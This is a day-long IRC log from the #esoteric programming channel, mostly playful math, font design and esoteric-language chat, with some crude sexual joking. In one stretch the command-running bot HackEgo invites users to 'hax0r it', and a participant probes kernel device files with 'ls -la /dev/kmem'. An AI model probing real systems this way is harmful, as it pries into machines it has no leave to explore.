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04:01:11 <\oren\_> I added 支改攻放政故敏救敗教敢散敬数巣差希席帯帳
04:06:53 <hppavilion[1]> I still want to work on Esonums, but I still have no clue where to start
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04:09:39 <hppavilion[1]> Perhaps I could do the same thing I did with the Arithmetic of the Functia, but deal with classes
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04:26:53 <hppavilion[1]> OK, I've found a constant for esonums. Took me about 30 minutes.
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04:34:48 <hppavilion[1]> Sgeo: Did we ever figure out the definition of absolute value in the domain of the @oids?
04:35:14 <hppavilion[1]> Because I'm being forced to define it for η, and I think that might be helpful xD
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04:46:08 <Sgeo> hppavilion[1], didn't your η turn out to be an actual mathematical construct?
04:47:02 <hppavilion[1]> Sgeo: I never did this before, as far as I can remember
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04:49:44 <Sgeo> Someone mentioned that having an absolute value = an imaginary corresponds to Minsky space
04:50:10 <Sgeo> err, don't know the correct name
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04:52:31 <Sgeo> sqrt(x^2 - t^2), distance along t corresponds with smaller absolute distance
04:58:41 <Sgeo> So |a+bη| = sqrt(a^2 - b^2), which still only gives either positive or imaginary results.
05:00:09 <Sgeo> The secret of course is that sqrt is defined to make things positive
05:00:15 <Sgeo> (or imaginary)
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05:34:01 <GoToTell> When one says 'the wind is southerly' does that mean it's going from south to north, or that it's going north?
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05:38:42 <Sgeo> Huh, what if I take that definition and apply a function like (if imaginary then multiply by -i)?
05:40:41 <Sgeo> Actually I want to multiply by i I guess
05:43:18 <Sgeo> Blah, I forget what properties I was checking the other definitions against
05:48:32 <Sgeo> I _think_ an equivalent formulation is |a+b@| = if a>=b then |a+bi|, else -|a+bi|
05:50:09 <Sgeo> http://www.wolframalpha.com/input/?i=z+%3D+sign%28x-y%29+*+%7Cx+%2B+y*i%7C
05:50:51 <Sgeo> I, uh. Need to fix that. That's broken.
05:51:51 <Sgeo> http://www.wolframalpha.com/input/?i=z+%3D+sign%28%7Cx%7C-%7Cy%7C%29+*+%7Cx+%2B+y*i%7C
05:52:29 <Sgeo> There's some kind of irony here
05:52:40 <Sgeo> Also that looks so horribly discontinuous
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06:12:47 <zzo38> I don't know how to make it to quite work
06:14:28 <Sgeo> Huh I think my function is totally wrong
06:14:36 <Sgeo> I was wrong to use absolute value there
06:15:31 <Sgeo> I'm having the @ value increase the abs, when it should decrease. The sqrt version behaves properly
06:18:07 <Sgeo> |a+b@| = sqrt(a^2-b^2) * (i if that sqrt is imaginary)
06:19:08 <Sgeo> How do I do if in Wolfram Alpha?
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06:21:27 <Sgeo> This ought to do the trick
06:21:28 <Sgeo> http://www.wolframalpha.com/input/?i=z+%3D+%280.5+%2B+0.5*sign%28%7Cx%7C-%7Cy%7C%29+%2B+0.5*i+-+0.5*i*sign%28%7Cx%7C-%7Cy%7C%29%29+*+sqrt%28x%5E2+-+y%5E2%29
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06:29:10 <hppavilion[1]> Programming language based on geometry or algebra?
06:32:34 <hppavilion[1]> tswett: Do you have any content on that Category Theory SQL yet, or is it just abstract? If you have some content, I'd /love/ to read it.
06:40:59 <lifthrasiir> hppavilion[1]: I feel Geometer's Sketchpad and other similar things may qualify as a DSL.
06:49:30 <hppavilion[1]> Would a category-theoretical database software be practical, or is it just a research demonstration?
06:51:24 <shachaf> Isn't all SQL category-theoretical?
06:56:44 <shachaf> Does SQL support pushouts?
07:26:07 <Sgeo> Huh, Wolfram actually figured out what I was doing with the 0.5 stuff (in alternate forms)
07:27:38 <hppavilion[1]> Someone who understands category theory should update https://en.wikiversity.org/wiki/Introduction_to_Category_Theory someday
07:29:08 <shachaf> In January, a free online version of Tom Leinster's _Basic Category Theory_ will be released.
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07:29:41 <shachaf> Then people can just read that book instead of that thing.
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08:24:28 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample#u2167 hmm, not sure if I should shrink or adjust glyphs for those Roman numerals.
08:31:57 <oerjan> <hppavilion[1]> tswett: Morphic kind of like combining diacritics. I believe it was either oerjan or \oren\ that told me "morphic" was the word I was looking for (I said semantic, which was apparently entirely wrong) <-- pretty sure it wasn't me.
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08:42:47 <oerjan> `learn ꙮ is the official Unicode character of #esoteric.
08:42:50 <HackEgo> Learned 'ꙮ': ꙮ is the official Unicode character of #esoteric.
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08:53:32 <HackEgo> ꙮ is the official Unicode character of #esoteric.
08:59:16 <oerjan> <lifthrasiir> \oren\_: ꙮ reminds me of 𪚥. <-- that's a very punny character. proof that there were ancient chinese geeks...
09:06:56 <HackEgo> [U+00D8 LATIN CAPITAL LETTER O WITH STROKE]
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09:08:40 <mroman> Someone added codegolf.stackexchange.com as a tournament site on wikipedia :(
09:09:26 <oerjan> if that's wrong, you can edit it hth
09:10:35 <mroman> It's wrong in my opinion :)
09:10:41 <mroman> but probably not in other people's opinion.
09:11:13 <mroman> anything that doesn't have reasonable validation, and scoreboards isn't a "tournament site" in my opinion.
09:11:41 <mroman> also if the shortest solution doesn't "win" then it's hardly a true golfing site
09:11:55 <mroman> also you need to be able to "win" a tournament somehow
09:12:03 <mroman> otherwise I wouldn't classify it as a tournament
09:23:44 <oerjan> <hppavilion[1]> **bold -_- <-- ***blood hth
09:24:45 <oerjan> also defining dividing by 0 isn't interesting if there are no useful rules for the result.
09:30:14 <b_jonas> oh, look, another big xkcd strip, of the style of 1110
09:30:20 <b_jonas> http://www.explainxkcd.com/wiki/index.php/1608
09:42:20 <hppavilion[1]> OK, so the Notta unit is ζ:ζ=1/0, a pure Notta number is of the form nζ where n is real, a notta duality (or something) is a+ζ, and a Notta Complex Number is a+bi+cζ+diζ
09:42:35 <hppavilion[1]> And the same holds for any other esounit with ζ replaced with that
09:43:39 <myname> what do you do with it?
09:46:33 <myname> how do you get to that number?
09:47:27 <myname> basically, @ has to be a number with x < 0 and -x < 0
09:47:38 <myname> i don't think that's possible
09:49:03 <myname> i on the other hand makes things easier. e.g. every polynom of rank n has n solutions for p = 0
09:49:49 <hppavilion[1]> myname: How do you get i? it has to be a number with x>0 and x/>0
09:50:48 <myname> how do you come to that conclusion?
09:51:21 <myname> sqrt(x) = y such that y^2 = x
09:51:28 <myname> no need for positive x
09:51:54 <myname> on the other hand, |x| = if x x 0 then -x else x
09:53:02 <myname> well, i isn't negative
09:54:50 <myname> my point is: i follows every rule the reals follow, your @ does not
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09:56:04 <mroman> How to counter sea-level rise: Kill some whales.
09:57:38 <mroman> xkcd's hooverboard is really buggy on my browser
09:57:55 <mroman> some old version of iceweasel of course
09:58:03 <mroman> esoteric in what sense?
09:58:14 <mroman> Rather than using feet you could use penis
09:58:28 <mroman> where one penis is the average size of a human penis
09:59:19 <mroman> then you can state the size of a strapon in penises .
09:59:27 <mroman> both in width and length.
10:00:11 <myname> "strapon-size: 2 penisses"
10:00:46 <hppavilion[1]> myname: But in the mathematical sense, can you think of any esoteric units? Or perhaps operations?
10:01:17 <mroman> meaning it's twice as thick as a usual penis and twice as long
10:01:51 <mroman> I thought strapons where just for miley cyrus to wear on parties
10:02:18 <mroman> can you fold a penis into a sphere?
10:02:43 <mroman> everything that doesn't have a hole in it is homomorph to a sphere or something?
10:02:43 <myname> is there a klein-penis?
10:03:12 <mroman> if you can make everything into a sphere
10:03:14 <hppavilion[1]> mroman: Oh, no holes? then no, unless there is something horribly wrong
10:03:19 <mroman> than you can use banachi-tarski to clone it
10:03:24 <hppavilion[1]> mroman: I did try to formulate the modal "Porn Logic"
10:03:57 <myname> in porn logic, the only predicate you have is "bangs"
10:05:28 <hppavilion[1]> There's the ternary operator F1=move>F2 (where "F" stands for "Fucker", not "Female", and that means that one makes a move towards another. Success is guaranteed.)
10:07:21 <izabera> wth are you guys talking about
10:08:15 <hppavilion[1]> myname: I believe it is spelled "penises" because english is weird.
10:09:36 <myname> we need a symbol for the penis unit
10:11:12 <hppavilion[1]> I would like to see an eso/joke lang/lib called "ψ" that provides a high-level interface for telepathy, mind-reading, subliminal massaging, and mind control
10:12:57 <izabera> is there any kernel hacker here?
10:13:32 <izabera> i want to do a thing but i don't know where to start
10:14:00 <mroman> You should see "Demolition man"
10:14:08 <mroman> with silvester stallone
10:14:53 <mroman> "Do you know Demolition man" is a good age indicator .
10:15:30 <mroman> That or beverly hills cop
10:15:50 <mroman> basically anyone who doesn't know beverly hills cop, demolition man and police academy is too young.
10:16:23 <mroman> actually 25 pretty soon
10:17:52 <mroman> The movies are from the 80s
10:17:58 <mroman> but they were still popular in the 90s
10:18:10 <mroman> so lots of 90s kids watched them as children
10:19:14 <mroman> also if "I'm too old for this shit" doesn't ring any bell
10:19:53 <hppavilion[1]> mroman: It rings a bell for me, but only through How I Met Your Mother
10:21:17 <mroman> http://www.blogcdn.com/de.engadget.com/media/2011/06/kodakusbfilm.jpg <- I need one of those
10:23:14 <izabera> i want to change linux so that unlink("/dev/fd/42") is the same as close(42)
10:23:24 <izabera> and symlink("123", "/dev/fd/42") is the same as dup(42, 123)
10:23:39 <izabera> how are these things implemented?
10:23:48 <izabera> i know 0 kernel programming <.<
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10:26:33 <mroman> probably through VFS of some sort
10:26:38 <mroman> but I'm no linux expert either :(
10:57:54 <oerjan> this xkcd lava wasn't particularly lethal
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11:20:38 <Phantom_Hoover> oerjan, this new thing explainer book is pretty good proof that randall can make shit even out of things he's still good at
11:24:58 <Phantom_Hoover> it wasn't a very interesting gimmick the first time around and it's even less interesting stretched out to a full book
11:34:37 <mroman> So they book isn't really worth buying then?
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11:47:29 <izabera> i've got an interview tomorrow and i'm scared
11:49:48 <Taneb> izabera, believe in yourself!
11:53:25 <izabera> time to nervously eat the whole fridge
11:53:53 <lambdabot> Taneb asked 11h 51m 23s ago: How do you decline Taneb?
11:54:07 <boily> Taneb: I think oerjan can help you for that.
11:54:26 <Taneb> I was more wondering how you got the vocative
11:54:48 <Taneb> Latin goes-like-servus?
11:55:03 <boily> izabellora. an interview for what? how many cubic feet for your fridge? do you like your fridges toasted, boiled, sashimi?
11:55:25 <boily> Taneb: I wikipédiaed some latin declensions, and went with -e because it looked like it would fit the case.
11:55:38 <Taneb> Then it is goes-like-servus
11:55:42 <izabera> i had to google how many meters is a foot
11:56:13 <boily> you and your weird measurements...
11:57:15 <Taneb> Well, I just wish I lived in a place that used one system consistently
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13:08:27 <mroman> given f(x) where f(x) returns the number of digits in x! how fast does f(x) grow?
13:08:49 <mroman> (i.e. length of factorial)
13:09:01 <Jafet> That question logs hard.
13:10:31 <mroman> also can every prime be written as a sum of two fibonacci numbers?
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13:11:34 <Jafet> There is a remarkable result, though, that some sorting algorithms have running time O(f(x)).
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13:16:20 <mroman> one with O(log(n)) would be nice though .
13:17:01 * oerjan thinks he's now explored all of randall's star destroyer that he can reach
13:31:32 <b_jonas> "also can every prime be written as a sum of two fibonacci numbers" of course not, duh
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13:33:05 <Taneb> 17 is the first counterexample, i think
13:34:48 <Jafet> There just aren't quite enough fibonacci numbers for that to work, anyway
13:38:04 <mroman> well this implicit harvard association test concludes I prefer black people over white people
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13:50:02 <mroman> maybe it's just faster to decide whether a person is black rather than white
13:50:11 <mroman> because of the distinct facial features and structure.
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13:54:12 <Taneb> What ever happened to metasepia
13:54:15 <Taneb> Whose bot was that
13:57:39 <Taneb> It was lambdabotish
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13:59:41 <\oren\_> I should have taken a course in geology
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14:08:29 <oerjan> metasepia was boily's bot.
14:09:05 <HackEgo> metasepia knew the weather at your nearest airport, and also something about ducks.
14:09:18 <b_jonas> fungot, what or who is metasepia?
14:09:18 <fungot> b_jonas: what is wrong with guile?' token is also used as a, b
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14:39:30 <Taneb> I'm at an event about doing a doctorate here in York
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14:47:53 <int-e> metasepia invented @metar but with a different prefix that I forgot
14:54:29 <Taneb> No, that'd clash with fungot
14:54:29 <fungot> Taneb: i just need to link it in with the fnord goal of printf("hello, world! or hello, world
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16:07:11 <mroman> fungot: How's the fnord?
16:07:12 <fungot> mroman: st is there, so now all we need for turing-completeness would be increment and decrement by setting flags on its data about variables... just anywhere outside a method?
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16:13:59 <HackEgo> [U+27E8 MATHEMATICAL LEFT ANGLE BRACKET]
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16:33:10 <HackEgo> [U+0061 LATIN SMALL LETTER A] [U+006E LATIN SMALL LETTER N] [U+0067 LATIN SMALL LETTER G] [U+0065 LATIN SMALL LETTER E] [U+006C LATIN SMALL LETTER L]
16:33:17 <HackEgo> [U+0022 QUOTATION MARK] [U+0061 LATIN SMALL LETTER A] [U+006E LATIN SMALL LETTER N] [U+0067 LATIN SMALL LETTER G] [U+0065 LATIN SMALL LETTER E] [U+006C LATIN SMALL LETTER L] [U+0022 QUOTATION MARK]
16:33:24 <HackEgo> U+1F47C BABY ANGEL \ UTF-8: f0 9f 91 bc UTF-16BE: d83ddc7c Decimal: 👼 \ 👼 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
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17:20:46 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45628&oldid=45410 * Luis Mendo * (+525)
17:25:35 <FireFly> int-e: I believe metasepia used ~
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18:04:57 <HackEgo> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !
18:04:58 <fungot> HackEgo: it looks like someone could write an implementation. you'll have 3. write down solution
18:05:38 <int-e> FireFly: I believe you are correct
18:06:05 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing.
18:07:00 <int-e> `` ls -la /dev/kmem
18:07:01 <HackEgo> crw-r----- 1 0 15 1, 2 Jan 29 2014 /dev/kmem
18:09:14 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45629&oldid=45627 * Quintopia * (-45) /* Implementations */ moregolfed
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19:38:22 <hppavilion[1]> That way, we can have a hyperoperation that returns i or Sgeo's @
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20:27:23 <hppavilion[1]> `le/rn Alg. II/Algae II, the successor class to Algae. I. Discusses hydroponics and such
20:29:43 <HackEgo> le/rn makes creating wisdom entries manually a thing of the past.
20:30:12 <shachaf> The joke of that entry is that you can't create that entry using le/rn.
20:30:39 <int-e> (or rather I was going to check for any signs of mkdir in the script)
20:30:46 <shachaf> OK, well, it took me a moment.
20:30:56 <int-e> though that's only half the problem :)
20:31:13 <shachaf> The problem is syntactical.
20:31:19 <shachaf> But that's why we have mk.
20:31:51 <int-e> `` echo bin/*slash*
20:31:52 <HackEgo> bin/slashes bin/slashlearn
20:32:11 <shachaf> But it still doesn't mkdir
20:32:44 <HackEgo> [[ "$1" == ?*//* ]] || exit 1; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$key" && echo "$key"
20:32:46 <HackEgo> key=$(mk "$@") && echo "$key" && chmod +x "$key"
20:33:50 * int-e was absent, checking those things for himself in the mercurial browser
20:38:58 <HackEgo> int-e tswett tswett shachaf shachaf shachaf shachaf
20:39:18 <shachaf> `` hg log bin/slashlearn | grep summary:
20:39:20 <HackEgo> summary: <int-e> ` sed -i 1a\'[[ "$1" = */* ]] || exit\' bin/slashlearn \ summary: <shachaf> revert 5151 \ summary: <shachaf> ` sed -i -e \'3a [ -e wisdom/"$topic" ] && op=\'\\\'\'Overwrote\'\\\'\' || op=\'\\\'\'Wrote\'\\\'\'\' -e \'s/Learned/$op/\' bin/slashlearn \ summary: <shachaf> ` echo $\'#!/bin/bash\\ntopic=$(echo "$1" | lowe
20:43:01 <HackEgo> Failed to connect to socket 2. \ % Total % Received % Xferd Average Speed Time Time Time Current \ Dload Upload Total Spent Left Speed \
20:43:46 <HackEgo> bin/mkx \ bin/mov \ bin/tclkit
20:43:54 <HackEgo> key=$(mk "$@") && echo "$key" && chmod +x "$key"
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20:44:07 <HackEgo> ELF............>.....`6@.....@.......(..........@.8..@.........@.......@.@.....@.@................................8......8@.....8@............................................@.......@................... ..................a.....a...........
20:46:57 <HackEgo> lrwxrwxrwx 1 5000 0 7 Jun 21 02:47 bin/mov -> /bin/mv
20:52:41 <HackEgo> tswett tswett oerjan elliott kmc
20:54:23 <HackEgo> tswett tswett oerjan elliott kmc
20:54:59 <HackEgo> s3546601434927141s8p77o8410rpn1s399043rs ova/zbi
20:55:56 <int-e> I don't know... context is http://codu.org/logs/_esoteric/2013-04-14.txt (search for bin/mov)
20:56:11 <HackEgo> shachaf1sum is /hackenv/bin/shachaf1sum
20:56:17 <izabera> `cat /hackenv/bin/shachaf1sum
20:56:19 <HackEgo> #!/bin/bash \ sha1sum "$@" | tr a-z n-za-m
20:56:29 <int-e> or maybe that's how you found shachaf1sum
20:56:46 <int-e> izabera: because rot13 is a great encryption scheme
20:59:00 <int-e> . o O ( sha1sum "$@" | tr 0-9a-f '[0*]' )
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21:39:29 <FireFly> what does that do? specifically, '[0*]'?
21:39:54 <FireFly> oh huh, repeat syntax. I didn't know about that
21:40:34 <HackEgo> tswett tswett oerjan elliott kmc
21:41:25 <FireFly> int-e: I think it's been established that rot13 is the welsh translator
21:41:28 <HackEgo> 796) <Gregor> !rot13 Fluttershy Rainbow Dash Rarity Applejack Twilight Sparkle Pinkie Pie <EgoBot> Syhggreful Envaobj Qnfu Enevgl Nccyrwnpx Gjvyvtug Fcnexyr Cvaxvr Cvr <olsner> oh, they're all named after rot13'd welsh words \ 916) <olsner> as long as you're in company where no-one knows both, you can always say either "that's just lik
21:41:47 <izabera> completely equivalent to tr 0-9a-f 0
21:42:33 <izabera> but that's more leet i guess
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22:30:13 <HackEgo> [wiki] [[Esolang:Sandbox]] http://esolangs.org/w/index.php?diff=45630&oldid=44277 * Hppavilion1 * (+337) Testing rowspan table
22:42:23 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45631&oldid=45628 * Luis Mendo * (+242) /* Compiler */
22:46:10 <HackEgo> [wiki] [[User:Hppavilion1/Unicode/Potential Meanings/Basic Latin]] N http://esolangs.org/w/index.php?oldid=45632 * Hppavilion1 * (+1716) Created Page
22:47:35 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45633&oldid=45631 * Luis Mendo * (+116)
22:48:03 <HackEgo> [wiki] [[User:Hppavilion1/Unicode/Potential Meanings/Basic Latin]] http://esolangs.org/w/index.php?diff=45634&oldid=45632 * Hppavilion1 * (-53) Fixed formatting
22:49:08 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45635&oldid=45633 * Luis Mendo * (-45) /* Compiler */
22:49:38 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45636&oldid=45635 * Luis Mendo * (+1) /* Compiler */
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23:01:27 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45637&oldid=45636 * Luis Mendo * (+116) /* Compiler */
23:04:21 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45638&oldid=45637 * Luis Mendo * (+334) /* Compiler */
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23:05:20 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45639&oldid=45638 * Luis Mendo * (-22) /* Compiler */
23:08:08 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45640&oldid=45639 * Luis Mendo * (-91) /* Specification */
23:08:42 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45641&oldid=45640 * Luis Mendo * (+6) /* Compiler */
23:09:02 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45642&oldid=45641 * Luis Mendo * (+2) /* Specification */
23:09:50 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45643&oldid=45642 * Luis Mendo * (-1) /* Compiler */
23:21:29 <boily_> izabellora. you should take a look at https://github.com/bo0ts/ddate
23:22:36 <boily_> the source is interesting. fnord.
23:23:33 <izabera> https://github.com/bo0ts/ddate/blob/master/ddate.c#L67 uhm...
23:26:32 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45644&oldid=45643 * Luis Mendo * (+224) /* Hello, world! */
23:26:56 <izabera> weirdest piece of c code i've ever seen
23:32:10 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45645&oldid=45644 * Luis Mendo * (+21) /* Hello, world! */
23:34:03 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45646&oldid=45645 * Luis Mendo * (+154) /* Fibonacci sequence */
23:34:27 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45647&oldid=45646 * Luis Mendo * (-6) /* Fibonacci sequence */
23:34:48 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45648&oldid=45647 * Luis Mendo * (+2) /* Fibonacci sequence */
23:39:38 <zzo38> Much of the program seems strange.
23:41:11 <zzo38> (Although, it is supposed to be Discordian, so I suppose that is OK since at least it is not too much problem and so on)
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23:42:58 <zzo38> Although I would have prefer to remove the '.' and 'X' formats, and to add a command-line switch to change between Gregorian-based or Julian-based dates (the former is more common although sometimes the latter is used)
23:45:59 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45649&oldid=45648 * Luis Mendo * (+107) /* Example programs */
23:50:09 <zzo38> Everything else is OK though
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00:03:58 <izabera> does anyone here use/have used apache lucene?
00:06:00 <fungot> boily_: first made it fnord, and do it
00:13:10 <hppavilion[1]> I need a unicode symbol to represent the "DNA" of an instruction poiner
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00:15:47 <\oren\_> I'm considering changing my s
00:17:56 <hppavilion[1]> https://www.amnesty.org/en/what-we-do/torture/ is a strange URL
00:21:09 <\oren\_> http://www.orenwatson.be/esses.png <-- which one is best?
00:22:34 <\oren\_> Ok, I'll adopt 3 in the next release
00:42:13 <\oren\_> Hmm, that didn't take as long as I thought. I guess there aren't many esses with accents.
00:42:34 <\oren\_> http://www.orenwatson.be/fontdemo.htm
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00:49:10 <boily_> he\\oren\_. is it possible to "squish" the s even more? like an hypothetical version 4?
00:55:06 <\oren\_> That would be identical to the small caps I think.
00:56:04 <hppavilion[1]> \oren\_: You're not supposed to spell letter names hth.
00:56:21 <hppavilion[1]> (notice me fumblingly inserting "hth" into a post)
00:56:22 <\oren\_> also it wouldn't flow into preceding and following ess.
00:56:36 <\oren\_> also it wouldn't flow into letters preceding and following ess
00:57:09 <\oren\_> see clusters like ls st ts sz etc
00:57:15 <boily_> hppavilion[1]: we all went through our first hth hth
00:58:18 <hppavilion[1]> If I were to make Strongly-Typed Setter, would someone who's even remotely good at font design (unlike me) be willing to design ASCII and a ~few choice characters for the font using some form of vector font design program I'd hack together?
00:58:32 <hppavilion[1]> I would need to make custom fonts for some of the higher-level features, such as cursive
00:59:05 <hppavilion[1]> I couldn't just use builtin fonts for everything, though I probably could include them in limited capacity
01:03:03 <zzo38> I know how to use METAFONT at least
01:04:48 <hppavilion[1]> zzo38: I'll attempt to base the font renderer on METAFONT because METAFONT seems popular
01:05:21 <hppavilion[1]> In other news, we should make a programming language based on symbols in hte I Ching
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01:08:30 <zzo38> You could also just support the same TFM/PK formats (even if other formats as well), therefore you could combine your program with existing program in either way; so there is other possibility
01:10:07 <MDude> Speaking of Chinese and computers, I've been wanting to make a font for a hex editor that represents hexadecimal with suanpan.
01:10:44 <zzo38> You could add a renderless mode though, in which case only metrics are needed and the glyphs aren't needed (and will be added by another program)
01:17:02 <hppavilion[1]> I have thought of a problem I'm going to have with MEML and such
01:21:13 <hppavilion[1]> MEML fonts made for use in STS will likely need to have special parameterized character rendering, e.g. to tell character renderers how the special characters (e.g. integral) behave such that they can return a useful result
01:24:50 <hppavilion[1]> So I'm thinking that the I Ching language would probably need to support symbols as the mongrams, the digrams, the trigrams, and the hexagrams, as well as perhaps the Tai Xuan Jing symbols (though that might not be such a great idea, given that they're a completely different system AFAICT AND that might offend a buddhist). Also, the Wheel of Dharma might be a symbol.
01:31:17 <zzo38> I intend to soon add a feature to DVIPBM to support an external coprocessor, so we could try to write such an external program that would enable MEML fonts to be used with it; with such a thing it may be able to render documents created with STS in DVI mode when MEML fonts are used (although if MEML metrics are used with PK glyphs then it isn't needed), perhaps.
01:32:52 <hppavilion[1]> MEML is actually an encoding, though, a more morphic unicode that doesn't do all characters as precomposed (which is useful for arrows and box-drawing characters)
01:35:08 <zzo38> If the glyphs can be prerendered then you could even just preprocess them and emit the combination of glyph codes that is needed to create the composed character and therefore work with any program.
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01:35:59 <hppavilion[1]> OK, I have ⚌: Add; ⚍: Multiply; ⚎: Divide; ⚏: Subtract
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01:56:33 <hppavilion[1]> I still need a unicode character to represent IP "DNA" in UniFunge
02:00:29 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45650&oldid=45620 * Hppavilion1 * (-314) Changed syntax again
02:04:29 <zzo38> Use something in the private use range if you really need to, I suppose
02:21:31 <boily_> QUINTHELLOPIA. happy slaughter of large dinosaur descendants!
02:23:52 <quintopia> we love our bloated ground raptors
02:24:08 <quintopia> i need ais to tell me how the heck one does ANYTHING in 3sp
02:25:51 <quintopia> /https://esolangs.org/wiki/Three_Star_Programmer
02:28:05 <quintopia> it's not clear how one would go about producing even a basic conditional
02:28:40 <quintopia> I guess I can sort of vaguely see it as through a glass darkly
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02:32:55 * boily_ thoughts suddenly derailed
02:33:13 <boily_> why am I boily_. something's wrong.
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02:33:23 <boily> aaaah, much better.
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02:35:49 <boily> my cola is drinked, ais523 indirectedly made me dizzy, and the siren call of my mattress is becoming urgent.
02:36:05 <boily> argh. la bouteille est finie, bon.
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02:40:35 <HackEgo> danddreclist 72: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex
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03:52:09 <hppavilion[1]> I can't think of anything good yet for the Buddhist language
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04:03:12 <MDream> I think the haiku language migth be somewhat Buddism-inspired.
04:03:55 <MDream> Oh, there isn't one on the wiki?
04:04:08 <MDream> I thought there was, maybe I was thinking fo something else.
04:04:17 <hppavilion[1]> MDream: No, my language uses exclusively buddhist symbols (The 80 ones in unicode: The two mongrams, 4 digrams, 8 trigrams, 64 hexagrams, the Wheel of Dharma, and the Yin/Yang symbol)
04:04:26 <TellsToGo> Koans are fun too. And have their own brand of Zen buddistic logic.
04:04:42 <hppavilion[1]> MDream: You're thinking of Haifu, which is indeed inspired by eastern philosophy, but not necessarily Buddhist
04:06:30 <hppavilion[1]> So the language operates on a deque of digrams, Greater Yang, Lesser Yang, Greater Yin, Lesser Yin
04:06:42 <MDream> Is this related the I CHing system you want?
04:07:49 <MDream> It interest me that the four types of greater/lesser yin-yang can be related to the four western elements.
04:08:54 <MDream> And Earth, the only Wu Xing element not cooresponging to one of those, is balance and thus can be related to Ether.
04:08:56 <hppavilion[1]> I'm trying to decide to do with the Trigrams and Hexagrams, not to mention the Yin/Yang and Wheel of Dharma
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04:09:47 <MDream> Well I guess one thing things do is tend to age.
04:10:17 <MDream> And at different rates, given the uneven ditribution of results for proper I Ching divination.
04:10:28 <adu> hppavilion[1]!
04:11:07 <adu> hppavilion[1]: I think I might be going into a math binge this winter
04:11:24 <adu> math is a good winter sport
04:11:45 <adu> you get to stay inside and write equations on paper, or type stuff into Sage or Mathematica
04:12:09 <hppavilion[1]> I want a good mathematical object to use for a language
04:12:16 <MDream> Hmmm. I like that the four coin method produces results identical tot he yarrow stalk method.
04:12:28 <adu> hppavilion[1]: best to start with the "Group"
04:12:33 <MDream> Since four bits = 1 results = suanpan rod.
04:13:23 <adu> hppavilion[1]: according to Haskell, the "Monad" is good for building a language
04:13:34 <MDream> And will ahve to reccomend mathematical objects another time.
04:13:51 <hppavilion[1]> I'm looking for a model to base my I Ching language around
04:14:16 <adu> oh, hyperoperators
04:14:40 <adu> hyperoperators for arith
04:14:48 <adu> and truth tables for logic operators
04:14:53 <hppavilion[1]> I still want to see real and complex hyperoperators
04:15:04 <adu> hppavilion[1]: do you know who I am?
04:15:15 <adu> hppavilion[1]: ah
04:15:46 <hppavilion[1]> Unless you're refering to whether or not I remember you from past conversations, in which case yes I do
04:15:54 * adu has been researching extending tetration to real and complex numbers for almost 15 years now
04:16:10 <adu> I know a little bit
04:16:33 <hppavilion[1]> I did define earlier today a function h(n) such that H[h(n)](0, 0)=sgn(n)
04:16:47 <adu> what's sgn?
04:16:54 <hppavilion[1]> Of course, I just used definitions, so that's kind of cheating
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04:17:25 <hppavilion[1]> sgn(-5000) returns -1, sgn(1000) returns 1, sgn(2123-12i) returns 1-i, et cetera
04:17:29 <adu> I would write that as n/abs(n) for universal unambiguity
04:18:17 <adu> hppavilion[1]: by h(x) do you mean x^x^x^x^...
04:18:28 <\oren\> hmmm my z doesn;t work with my s
04:18:59 <\oren\> Oh shit, it's also identical the small cap z
04:19:03 <adu> hppavilion[1]: what's H?
04:19:14 <\oren\> I definitely need to fix that
04:19:42 <adu> hppavilion[1]: hmm, that is interesting
04:19:51 <hppavilion[1]> So we can't do complex hyperoperations with it, but we can do hyperoperations that /return/ complexes
04:20:53 <\oren\> wtf?!!?! my e doesn't macth my èéêë I thought I fixed that a million years ago!
04:21:28 <\oren\> the middle stroke of e should be shorter
04:22:16 <\oren\> I guess I haven't paid much attention to the Latin alphabet fpr a while
04:22:34 <hppavilion[1]> adu: To define the real hyperoperations, we should probably figure out H[-1](m, n) and H[0.5](m, n)
04:23:17 <adu> hppavilion[1]: are you interesting in extending (x ↑ⁿ y) to complex x, y, n?
04:23:50 <hppavilion[1]> Though I wouldn't use up arrow notation because it starts at tetration, so I prefer H notation
04:25:41 <hppavilion[1]> So we need to define halfation. AND we need to find the relationship between H[n], H[m], and H[n+m]
04:26:24 <\oren\> @tell b_jonas I changed my glyph for s a lot, and my glyphs for z and e more subtley
04:26:58 <adu> hppavilion[1]: http://math.eretrandre.org/tetrationforum/showthread.php?tid=97
04:27:19 <hppavilion[1]> adu: I've tried that page before, I think. What's your point?
04:27:57 <adu> hppavilion[1]: my point is that I'm "andydude"
04:30:03 <hppavilion[1]> I did think of the hyperoperational factorial. n?=H[n](0, H[n-1](0, H[n-2](0, ...H[1](0, H[0](0, 0))...)))
04:30:33 <hppavilion[1]> Though now that I think about it, that probably just equals 0
